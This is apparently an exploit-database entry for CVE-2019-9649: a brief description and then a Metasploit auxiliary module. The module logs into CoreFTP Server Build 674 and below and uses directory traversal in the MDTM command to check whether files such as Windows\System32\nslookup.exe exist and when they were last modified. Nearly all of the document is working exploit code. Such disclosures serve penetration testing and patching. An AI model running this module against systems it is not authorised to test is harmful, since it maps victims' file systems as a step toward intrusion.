An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote attacker can use a directory traversal (..\..\) to browse outside the root directory to determine the existence of a file on the operating system, and the last modified date.
65fb29abd0cd7c69628f42696cadbbe4# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 MDTM
Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 8/21/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7 and Windows XP
# CVE : CVE-2019-9649
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def proto
'ftp'
end
def initialize
super(
'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below
MDTM Directory Traversal',
'Description' => %q{An issue was discovered in the SFTP Server
component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote
attacker can use a directory traversal (..\..\) to browse outside the root
directory to determine the existence of a file on the operating system, and
the last mofidied date.},
'Author' => [ 'Kevin Randall' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-9649' ],
[ 'BID', '107449' ],
[ 'URL', '
https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
],
'Disclosure Date:' => 'March 13 2019'
)
register_options([
Opt::RPORT(21),
OptString.new('FILENAME', [true, "Name of file to search on remote
server", 'nslookup.exe'] ),
OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default
Drive used is C: ", "\\..\\..\\..\\..\\"] ),
OptString.new('PATHTOFILE', [ true, 'local filepath to the specified
file. Please add double slashes for escaping', 'Windows\\System32\\'] )
])
end
def run_host(ip)
print_status("Logging into FTP server now with supplied credentials")
c = connect_login
return if not c
print_status("Performing exploitation of the MDTM command to enumerate
files")
path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" +
datastore['FILENAME']
res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock)
data = res.to_s
print_status("Performing analysis.... Please wait")
if (data.include? "213" )
print_good ("And the circle hits the square!")
print_good ("File Exists. Here is the last modified date for
the file:"+ data[4..-1])
return res
else
print_error("Mission Failed We'll get them next time!")
print_error ("Something went wrong or the file does not exist.
Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape
double backslash) or verify file extension as it may be incorrect")
return res
end
end
end